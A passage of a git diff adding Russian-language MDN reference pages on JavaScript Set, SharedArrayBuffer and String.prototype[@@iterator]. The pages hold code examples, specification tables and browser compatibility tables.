+mySet.add("some text"); // Set { 1, 5, 'some text' }
+var o = {a: 1, b: 2};
+mySet.add(o);
+
+mySet.add({a: 1, b: 2}); // переменная o связана с другим объектом, поэтому данная строка также сработает
+
+mySet.has(1); // true
+mySet.has(3); // false, 3 не было добавлено в set
+mySet.has(5);              // true
+mySet.has(Math.sqrt(25));  // true
+mySet.has("Some Text".toLowerCase()); // true
+mySet.has(o); // true
+
+mySet.size; // 5
+
+mySet.delete(5); // удаляет 5 из set
+mySet.has(5);    // false, 5 было удалено
+
+mySet.size; // 4, было удалено одно значение
+console.log(mySet); // Set {1, 'some text', Object {a: 1, b: 2}, Object {a: 1, b: 2}}</pre>
+
+<h3 id="Обход_Set">Обход Set</h3>
+
+<pre class="brush: js">// обход элементов set
+// выведет элементы по порядку: 1, "some text", {"a": 1, "b": 2}
+for (let item of mySet) console.log(item);
+
+// выведет элементы по порядку: 1, "some text", {"a": 1, "b": 2}
+for (let item of mySet.keys()) console.log(item);
+
+// выведет элементы по порядку: 1, "some text", {"a": 1, "b": 2}
+for (let item of mySet.values()) console.log(item);
+
+// выведет элементы по порядку: 1, "some text", {"a": 1, "b": 2}
+//(key и value в данном случае одинаковы)
+for (let [key, value] of mySet.entries()) console.log(key);
+
+// преобразует Set в Array
+var myArr = Array.from(mySet); // [1, "some text", {"a": 1, "b": 2}]
+
+// следующее будет работать при запуске с HTML документом
+mySet.add(document.body);
+mySet.has(document.querySelector("body")); // true
+
+// преобразования из Array в Set и обратно
+mySet2 = new Set([1,2,3,4]);
+mySet2.size; // 4
+[...mySet2]; // [1,2,3,4]
+
+// пересечение можно представить следующим образом
+var intersection = new Set([...set1].filter(x =&gt; set2.has(x)));
+
+// разность можно представить следующим образом
+var difference = new Set([...set1].filter(x =&gt; !set2.has(x)));
+
+// Обход элементов set при помощи forEach
+mySet.forEach(function(value) {
+  console.log(value);
+});
+
+// 1
+// 2
+// 3
+// 4
+</pre>
+
+<h3 id="Реализация_простых_операций">Реализация простых операций</h3>
+
+<pre class="brush: js"><code>function isSuperset(set, subset) {
+    for (var elem of subset) {
+        if (!set.has(elem)) {
+            return false;
+        }
+    }
+    return true;
+}
+
+function union(setA, setB) {
+    var _union = new Set(setA);
+    for (var elem of setB) {
+        _union.add(elem);
+    }
+    return _union;
+}
+
+function intersection(setA, setB) {
+    var _intersection = new Set();
+    for (var elem of setB) {
+        if (setA.has(elem)) {
+            _intersection.add(elem);
+        }
+    }
+    return _intersection;
+}
+
+function difference(setA, setB) {
+    var _difference = new Set(setA);
+    for (var elem of setB) {
+        _difference.delete(elem);
+    }
+    return _difference;
+}
+
+// Например
+var setA = new Set([1, 2, 3, 4]),
+    setB = new Set([2, 3]),
+    setC = new Set([3, 4, 5, 6]);
+
+isSuperset(setA, setB);   // =&gt; true
+union(setA, setC);        // =&gt; Set [1, 2, 3, 4, 5, 6]
+intersection(setA, setC); // =&gt; Set [3, 4]
+difference(setA, setC);   // =&gt; Set [1, 2]</code>
+</pre>
+
+<h3 id="Взаимоотношения_с_объектом_Array">Взаимоотношения с объектом <code>Array</code></h3>
+
+<pre class="brush: js">var myArray = ["value1", "value2", "value3"];
+
+// Используйте конструктор Set для преобразования Array в Set
+var mySet = new Set(myArray);
+
+mySet.has("value1"); // вернёт true
+
+// Используйте spread оператор для преобразования Set в Array
+console.log([...mySet]); // Отобразит тот же массив, что и myArray
+</pre>
+
+<h3 id="Взаимоотношения_со_String">Взаимоотношения со <code>String</code></h3>
+
+<pre class="brush: js"><code>var text = 'India';
+
+var mySet = new Set(text);  // Set ['I', 'n', 'd', 'i', 'a']
+mySet.size;  // 5</code>
+</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-set-objects', 'Set')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td>Изначальное определение.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-set-objects', 'Set')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<p>{{Compat("javascript.builtins.Set")}}</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>{{jsxref("Map")}}</li>
+ <li>{{jsxref("WeakMap")}}</li>
+ <li>{{jsxref("WeakSet")}}</li>
+</ul>
diff --git a/files/ru/web/javascript/reference/global_objects/set/prototype/index.html b/files/ru/web/javascript/reference/global_objects/set/prototype/index.html
new file mode 100644
index 0000000000..c546a1997f
--- /dev/null
+++ b/files/ru/web/javascript/reference/global_objects/set/prototype/index.html
@@ -0,0 +1,80 @@
+---
+title: Set.prototype
+slug: Web/JavaScript/Reference/Global_Objects/Set/prototype
+translation_of: Web/JavaScript/Reference/Global_Objects/Set
+---
+<div>{{JSRef}}</div>
+
+<p>The <code><strong>Set</strong></code><strong><code>.prototype</code></strong> property represents the prototype for the {{jsxref("Set")}} constructor.</p>
+
+<div>{{js_property_attributes(0,0,0)}}</div>
+
+<h2 id="Description">Description</h2>
+
+<p>{{jsxref("Set")}} instances inherit from {{jsxref("Set.prototype")}}. You can use the constructor's prototype object to add properties or methods to all <code>Set</code> instances.</p>
+
+<h2 id="Свойства">Свойства</h2>
+
+<dl>
+ <dt><code>Set.prototype.constructor</code></dt>
+ <dd>Возвращает функцию, которая создала прототип экземпляра. Это функция {{jsxref("Set")}} по умолчанию.</dd>
+ <dt>{{jsxref("Set.prototype.size")}}</dt>
+ <dd>Возвращает количество элементов в объекте <code>Set</code>.</dd>
+</dl>
+
+<h2 id="Методы">Методы</h2>
+
+<dl>
+ <dt>{{jsxref("Set.add", "Set.prototype.add(value)")}}</dt>
+ <dd>Добавляет новый элемент с переданным значением в <code>Set</code> объект. Возвращает <code>Set</code> объект.</dd>
+ <dt>{{jsxref("Set.prototype.clear()")}}</dt>
+ <dd>Removes all elements from the <code>Set</code> object.</dd>
+ <dt>{{jsxref("Set.delete", "Set.prototype.delete(value)")}}</dt>
+ <dd>Removes the element associated to the <code>value</code> and returns the value that <code>Set.prototype.has(value)</code> would have previously returned. <code>Set.prototype.has(value)</code> will return <code>false</code> afterwards.</dd>
+ <dt>{{jsxref("Set.prototype.entries()")}}</dt>
+ <dd>Returns a new <code>Iterator</code> object that contains<strong> an array of <code>[value, value]</code></strong> for each element in the <code>Set</code> object, in insertion order. This is kept similar to the <code>Map</code> object, so that each entry has the same value for its <em>key</em> and <em>value</em> here.</dd>
+ <dt>{{jsxref("Set.forEach", "Set.prototype.forEach(callbackFn[, thisArg])")}}</dt>
+ <dd>Calls <code>callbackFn</code> once for each value present in the <code>Set</code> object, in insertion order. If a <code>thisArg</code> parameter is provided to <code>forEach</code>, it will be used as the <code>this</code> value for each callback.</dd>
+ <dt>{{jsxref("Set.has", "Set.prototype.has(value)")}}</dt>
+ <dd>Returns a boolean asserting whether an element is present with the given value in the <code>Set</code> object or not.</dd>
+ <dt>{{jsxref("Set.prototype.keys()")}}</dt>
+ <dd>Is the same function as the <strong><code>values()</code></strong> function and returns a new <code>Iterator</code> object that contains the values for each element in the <code>Set</code> object in insertion order.</dd>
+ <dt>{{jsxref("Set.prototype.values()")}}</dt>
+ <dd>Returns a new <code>Iterator</code> object that contains the <strong>values</strong> for each element in the <code>Set</code> object in insertion order.</dd>
+ <dt>{{jsxref("Set.prototype.@@iterator()", "Set.prototype[@@iterator]()")}}</dt>
+ <dd>Returns a new <code>Iterator</code> object that contains the <strong>values</strong> for each element in the <code>Set</code> object in insertion order.</dd>
+</dl>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES2015', '#sec-set.prototype', 'Set.prototype')}}</td>
+   <td>{{Spec2('ES2015')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-set.prototype', 'Set.prototype')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+
+
+<p>{{Compat("javascript.builtins.Set.prototype")}}</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{jsxref("Map.prototype")}}</li>
+</ul>
diff --git a/files/ru/web/javascript/reference/global_objects/set/set/index.html b/files/ru/web/javascript/reference/global_objects/set/set/index.html
new file mode 100644
index 0000000000..66e1d0108e
--- /dev/null
+++ b/files/ru/web/javascript/reference/global_objects/set/set/index.html
@@ -0,0 +1,72 @@
+---
+title: Set() конструктор
+slug: Web/JavaScript/Reference/Global_Objects/Set/Set
+translation_of: Web/JavaScript/Reference/Global_Objects/Set/Set
+---
+<div>{{JSRef}}</div>
+
+<p><span class="seoSummary"><strong>Конструктор Set</strong> позволяет создавать объекты Set, в которых хранятся уникальные значения любого типа, будь то <a href="https://developer.mozilla.org/ru/docs/%D0%A1%D0%BB%D0%BE%D0%B2%D0%B0%D1%80%D1%8C/Primitive">примитивные значения</a> или ссылки на объекты.</span></p>
+
+<div>{{EmbedInteractiveExample("pages/js/set-prototype-constructor.html")}}</div>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox notranslate">new Set([<var>iterable</var>])</pre>
+
+<h3 id="Параметры">Параметры</h3>
+
+<dl>
+ <dt><code><var>iterable</var></code> {{optional_inline}}</dt>
+ <dd>
+ <p>Если передается <a href="https://developer.mozilla.org/ru/docs/Web/JavaScript/Reference/Statements/for...of">итеративный объект</a>, все его элементы будут добавлены в новый Set.</p>
+
+ <p>Если вы не укажете этот параметр или его значение равно нулю, новый набор будет пустым.</p>
+ </dd>
+</dl>
+
+<h3 id="Возвращаемое_значение">Возвращаемое значение</h3>
+
+<p>Новый объект Set.</p>
+
+<h2 id="Примеры">Примеры</h2>
+
+<h3 id="Использование_объекта_Set">Использование объекта Set</h3>
+
+<pre class="brush: js notranslate">let mySet = new Set()
+
+mySet.add(1)           // Set [ 1 ]
+mySet.add(5)           // Set [ 1, 5 ]
+mySet.add(5)           // Set [ 1, 5 ]
+mySet.add('какой-то текст') // Set [ 1, 5, 'какой-то текст' ]
+let o = {a: 1, b: 2}
+mySet.add(o)</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-set-constructor', 'Set constructor')}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+
+
+<p>{{Compat("javascript.builtins.Set.Set")}}</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+</ul>
+
+<ul>
+ <li><a href="https://developer.mozilla.org/ru/docs/Web/JavaScript/Reference/Global_Objects/Set">Set</a></li>
+</ul>
diff --git a/files/ru/web/javascript/reference/global_objects/set/size/index.html b/files/ru/web/javascript/reference/global_objects/set/size/index.html
new file mode 100644
index 0000000000..5b530d7331
--- /dev/null
+++ b/files/ru/web/javascript/reference/global_objects/set/size/index.html
@@ -0,0 +1,68 @@
+---
+title: Set.prototype.size
+slug: Web/JavaScript/Reference/Global_Objects/Set/size
+tags:
+  - ECMAScript6
+  - JavaScript
+  - set
+  - Свойство
+  - прототип
+translation_of: Web/JavaScript/Reference/Global_Objects/Set/size
+---
+<div>{{JSRef}}</div>
+
+<p>Метод доступа <code><strong>size</strong></code> возвращает количество (уникальных) элементов в объекте {{jsxref("Set")}}</p>
+
+<div>{{EmbedInteractiveExample("pages/js/set-prototype-size.html")}}</div>
+
+
+
+<h2 id="Описание">Описание</h2>
+
+<p>Значение <code>size</code> является целым числом, которое показывает как много записей имеет объект <code>Set</code>. Функция для установки <code>size</code> равна <code>undefined</code>; вы не можете изменить это свойство.</p>
+
+<h2 id="Примеры">Примеры</h2>
+
+<h3 id="Использование_size">Использование <code>size</code></h3>
+
+<pre class="brush:js">var mySet = new Set();
+mySet.add(1);
+mySet.add(5);
+mySet.add('некоторый текст')
+
+mySet.size; // 3
+</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES2015', '#sec-get-set.prototype.size', 'Set.prototype.size')}}</td>
+   <td>{{Spec2('ES2015')}}</td>
+   <td>Изначальное определение.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-get-set.prototype.size', 'Set.prototype.size')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+
+
+<p>{{Compat("javascript.builtins.Set.size")}}</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>{{jsxref("Set")}}</li>
+</ul>
diff --git a/files/ru/web/javascript/reference/global_objects/set/values/index.html b/files/ru/web/javascript/reference/global_objects/set/values/index.html
new file mode 100644
index 0000000000..115d300b53
--- /dev/null
+++ b/files/ru/web/javascript/reference/global_objects/set/values/index.html
@@ -0,0 +1,72 @@
+---
+title: Set.prototype.values()
+slug: Web/JavaScript/Reference/Global_Objects/Set/values
+translation_of: Web/JavaScript/Reference/Global_Objects/Set/values
+---
+<div>{{JSRef}}</div>
+
+<p>Метод <code><strong>values()</strong></code> возвращает новый <code>Итератор</code>, который содержит значения для каждого элемента в объекте <code>Set</code> в порядке их добавления.</p>
+
+<p>Метод <strong><code>keys()</code></strong> является синонимом этого метода (для схожести с объектами {{jsxref("Map")}}). Он ведёт себя точно так же и возвращает <strong>значения</strong> элементов <code>Set</code>.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/set-prototype-values.html")}}</div>
+
+
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox"><code><em>mySet</em>.values();
+</code></pre>
+
+<h3 id="Возвращаемое_значение">Возвращаемое значение</h3>
+
+<p>Новый <code><strong>Итератор</strong></code>, содержащий значения для каждого элемента <code>Set</code>, в порядке их добавления.</p>
+
+<h2 id="Примеры">Примеры</h2>
+
+<h3 id="Ипсользование_values()">Ипсользование <code>values()</code></h3>
+
+<pre class="brush:js">var mySet = new Set();
+mySet.add('foo');
+mySet.add('bar');
+mySet.add('baz');
+
+var setIter = mySet.values();
+
+console.log(setIter.next().value); // "foo"
+console.log(setIter.next().value); // "bar"
+console.log(setIter.next().value); // "baz"</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES2015', '#sec-set.prototype.values', 'Set.prototype.values')}}</td>
+   <td>{{Spec2('ES2015')}}</td>
+   <td>Начальное определение.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-set.prototype.values', 'Set.prototype.values')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+
+
+<p>{{Compat("javascript.builtins.Set.values")}}</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>{{jsxref("Set.prototype.entries()")}}</li>
+</ul>
diff --git a/files/ru/web/javascript/reference/global_objects/sharedarraybuffer/index.html b/files/ru/web/javascript/reference/global_objects/sharedarraybuffer/index.html
new file mode 100644
index 0000000000..884ab88fa1
--- /dev/null
+++ b/files/ru/web/javascript/reference/global_objects/sharedarraybuffer/index.html
@@ -0,0 +1,209 @@
+---
+title: SharedArrayBuffer
+slug: Web/JavaScript/Reference/Global_Objects/SharedArrayBuffer
+translation_of: Web/JavaScript/Reference/Global_Objects/SharedArrayBuffer
+---
+<div>{{JSRef}}</div>
+
+<p>Объект <strong><code>SharedArrayBuffer</code></strong> используется для создания разделенного буфера фиксированной длины для хранения примитивных бинарных данных, подобно объекту {{jsxref("ArrayBuffer")}}, но могут быть использованы для создания обзора на разделенную память. В отличие от <code>ArrayBuffer</code>, <code>SharedArrayBuffer</code> не может быть отсоединен.</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox">new SharedArrayBuffer(length)
+</pre>
+
+<h3 id="Параметры">Параметры</h3>
+
+<dl>
+ <dt><code>length</code></dt>
+ <dd>Размер, в байтах, для создания буферного массива.</dd>
+</dl>
+
+<h3 id="Возвращаемое_значение">Возвращаемое значение</h3>
+
+<p>Новый объект <code>SharedArrayBuffer</code> указаной длины. Его содержимое после инициализаци равно 0.</p>
+
+<h2 id="Описание">Описание</h2>
+
+<h3 id="Распределение_и_разделение_память">Распределение и разделение память</h3>
+
+<p>Для разделения памяти с помощью объекта {{jsxref("SharedArrayBuffer")}} между одним агентом в кластере и другим (агент может быть как основной программой web-страницы, так и одним из web-workers), используются <code><a href="/en-US/docs/Web/API/Worker/postMessage">postMessage</a></code> и <a href="/en-US/docs/Web/API/Web_Workers_API/Structured_clone_algorithm">structured cloning</a>.</p>
+
+<p>Алгоритм структурированного клонирования принимает <code>SharedArrayBuffers</code> и <code>TypedArrays,</code> отображенный в <code>SharedArrayBuffers</code>. В обоих случаях, объект  <code>SharedArrayBuffer</code> передается получателю, результируя в новый, приватный объект SharedArrayBuffer внутри агента-получателя (так же как для {{jsxref("ArrayBuffer")}}). Однако, блок общих данных, на который ссылаются оба объекта <code>SharedArrayBuffer, </code>это один и тот же блок данных, и сторонние эффекты в блоке в одном из агентов в итоге станут заметны в другом агенте.</p>
+
+<pre class="brush: js">var sab = new SharedArrayBuffer(1024);
+worker.postMessage(sab);
+</pre>
+
+<h3 id="Обновление_и_синхронизация_разделенной_памяти_с_помощью_Атомарных_операций">Обновление и синхронизация разделенной памяти с помощью Атомарных операций</h3>
+
+<p>Разделенная память может быть создана и изменена одновременно в  workers или основном потоке. В зависимости от системы (ЦПУ, ОС, браузер) может уйти время пока изменения будут распространены по всем контекстам. Для синхронизации необходимы {{jsxref("Атомарные", "атомарные", "", 1)}} операции .</p>
+
+<h3 id="API_принимающие_объекты_SharedArrayBuffer">API, принимающие объекты <code>SharedArrayBuffer</code></h3>
+
+<ul>
+ <li>{{domxref("WebGLRenderingContext.bufferData()")}}</li>
+ <li>{{domxref("WebGLRenderingContext.bufferSubData()")}}</li>
+ <li>{{domxref("WebGL2RenderingContext.getBufferSubData()")}}</li>
+</ul>
+
+<h3 id="Конструкции_требуют_оператор_new">Конструкции требуют оператор <code>new</code></h3>
+
+<p>Конструторы <code>SharedArrayBuffer</code> необходимо вызывать с помощью оператора {{jsxref("Operators/new", "new")}}. Вызов конструктора <code>SharedArrayBuffer</code> как функции без указания <code>new</code>, вызовет ошибку {{jsxref("TypeError")}}.</p>
+
+<pre class="brush: js example-bad">var sab = SharedArrayBuffer(1024);
+// TypeError: вызов встроенного конструктора SharedArrayBuffer
+// без new запрещено</pre>
+
+<pre class="brush: js example-good">var sab = new SharedArrayBuffer(1024);</pre>
+
+<h2 id="Свойства">Свойства</h2>
+
+<dl>
+ <dt><code>SharedArrayBuffer.length</code></dt>
+ <dd>Длина конструктора <code>SharedArrayBuffer,</code> чье значение равно 1.</dd>
+ <dt>{{jsxref("SharedArrayBuffer.prototype")}}</dt>
+ <dd>Позволяет дополнительные свойства для всех объектов <code>SharedArrayBuffer</code>.</dd>
+</dl>
+
+<h2 id="SharedArrayBuffer_объект_prototype"><code>SharedArrayBuffer</code> объект prototype</h2>
+
+<p>Все экземпляры <code>SharedArrayBuffer</code> наследуются от {{jsxref("SharedArrayBuffer.prototype")}}.</p>
+
+<h3 id="Свойства_2">Свойства</h3>
+
+<p>{{page('en-US/Web/JavaScript/Reference/Global_Objects/SharedArrayBuffer/prototype','Properties')}}</p>
+
+<h3 id="Методы">Методы</h3>
+
+<p>{{page('en-US/Web/JavaScript/Reference/Global_Objects/SharedArrayBuffer/prototype','Methods')}}</p>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-sharedarraybuffer-objects', 'SharedArrayBuffer')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td>Initial definition in ES2017.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES8', '#sec-sharedarraybuffer-objects', 'SharedArrayBuffer')}}</td>
+   <td>{{Spec2('ES8')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Поддержка_браузерами">Поддержка браузерами</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatNo}} [2]</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatGeckoDesktop("55")}} [1]</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatSafari("10.1")}}</td>
+  </tr>
+  <tr>
+   <td><code>slice()</code></td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatGeckoDesktop("52")}} [1]</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatSafari("10.1")}}</td>
+  </tr>
+  <tr>
+   <td>SAB in DataView</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatGeckoDesktop("53")}} [1]</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatSafari("10.1")}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatGeckoMobile("55")}} [1]</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatSafari("10.1")}}</td>
+  </tr>
+  <tr>
+   <td><code>slice()</code></td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatGeckoMobile("52")}} [1]</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatSafari("10.1")}}</td>
+  </tr>
+  <tr>
+   <td>SAB in DataView</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatGeckoMobile("53")}} [1]</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatSafari("10.1")}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] Enabled by default in Firefox 55. In Firefox version 46 until version 54, this feature is disabled by a preference setting (in about:config, set <code>javascript.options.shared_memory</code> to <code>true</code>). </p>
+
+<p>[2] The implementation is under development and needs these runtime flags: <code>--js-flags=--harmony-sharedarraybuffer --enable-blink-feature=SharedArrayBuffer</code></p>
+
+<h2 id="Смотри_также">Смотри также</h2>
+
+<ul>
+ <li>{{jsxref("Atomics")}}</li>
+ <li>{{jsxref("ArrayBuffer")}}</li>
+ <li><a href="/en-US/docs/Web/JavaScript/Typed_arrays">JavaScript typed arrays</a></li>
+ <li><a href="/en-US/docs/Web/API/Web_Workers_API">Web Workers</a></li>
+ <li><a href="https://github.com/lars-t-hansen/parlib-simple">parlib-simple </a>– a simple library providing synchronization and work distribution abstractions.</li>
+ <li><a href="https://github.com/tc39/ecmascript_sharedmem/blob/master/TUTORIAL.md">Shared Memory – a brief tutorial</a></li>
+ <li>
+  <p><a href="https://hacks.mozilla.org/2016/05/a-taste-of-javascripts-new-parallel-primitives/">A Taste of JavaScript’s New Parallel Primitives – Mozilla Hacks</a></p>
+ </li>
+</ul>
diff --git a/files/ru/web/javascript/reference/global_objects/string/@@iterator/index.html b/files/ru/web/javascript/reference/global_objects/string/@@iterator/index.html
new file mode 100644
index 0000000000..a493783be3
--- /dev/null
+++ b/files/ru/web/javascript/reference/global_objects/string/@@iterator/index.html
@@ -0,0 +1,131 @@
+---
+title: 'String.prototype[@@iterator]()'
+slug: Web/JavaScript/Reference/Global_Objects/String/@@iterator
+tags:
+  - ECMAScript6
+  - Experimental
+  - Expérimental(2)
+  - Iterator
+  - JavaScript
+  - Method
+  - Prototype
+  - Reference
+  - Référence(2)
+  - String
+translation_of: Web/JavaScript/Reference/Global_Objects/String/@@iterator
+---
+<div>{{JSRef("Global_Objects", "String")}}</div>
+
+<h2 id="Summary" name="Summary">Сводка</h2>
+
+<p>Метод <strong><code>[@@iterator]()</code></strong> возвращает новый объект итератора <code>Iterator</code>, который проходит по кодовым точкам строкового значения, возвращая каждую кодовую точку в виде строкового значения.</p>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+
+<pre class="syntaxbox notranslate"><code><var>string</var>[Symbol.iterator]</code></pre>
+
+<h2 id="Examples" name="Examples">Примеры</h2>
+
+<h3 id="Example_Using_.5B.40.40iterator.5D" name="Example:_Using_.5B.40.40iterator.5D()">Пример: использование метода <code>[@@iterator]()</code></h3>
+
+<pre class="brush:js notranslate">var string = 'A\uD835\uDC68';
+
+var strIter = string[Symbol.iterator]();
+
+console.log(strIter.next().value); // "A"
+console.log(strIter.next().value); // "\uD835\uDC68"
+</pre>
+
+<h3 id="Example_Using_.5B.40.40iterator.5D_with_for..of" name="Example:_Using_.5B.40.40iterator.5D()_with_for..of">Пример: использование метода <code>[@@iterator]()</code> вместе с циклом <code>for..of</code></h3>
+
+<pre class="brush:js notranslate">var string = 'A\uD835\uDC68B\uD835\uDC69C\uD835\uDC6A';
+
+for (var v of string) {
+  console.log(v);
+}
+// "A"
+// "\uD835\uDC68"
+// "B"
+// "\uD835\uDC69"
+// "C"
+// "\uD835\uDC6A"
+</pre>
+
+<h2 id="Specifications" name="Specifications">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарии</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-string.prototype-@@iterator', 'String.prototype[@@iterator]()')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td>Изначальное определение.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Совместимость с браузерами</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Возможность</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop("17")}} (<code>.iterator</code>)<br>
+    {{CompatGeckoDesktop("27")}} (<code>["@@iterator"]</code>)<br>
+    {{CompatGeckoDesktop("36")}} (<code>[Symbol.iterator]</code>)</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Возможность</th>
+   <th>Android</th>
+   <th>Chrome для Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile("17")}} (<code>.iterator</code>)<br>
+    {{CompatGeckoMobile("27")}} (<code>["@@iterator"]</code>)<br>
+    {{CompatGeckoMobile("36")}} (<code>[Symbol.iterator]</code>)</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h3 id="Gecko-specific_notes" name="Gecko-specific_notes">Примечания по Gecko</h3>
+
+<ul>
+ <li>С Gecko 17 {{geckoRelease("17")}} по Gecko 26 {{geckoRelease("26")}} вместо {{jsxref("Global_Objects/Symbol", "символа", "", 1)}} <code>@@iterator</code> использовалось свойство <code>iterator</code> ({{bug(907077)}}), а с Gecko 27 {{geckoRelease("27")}} по Gecko 35 {{geckoRelease("35")}} — строка-заменитель <code>"@@iterator"</code> ({{bug("918828")}}).</li>
+</ul>
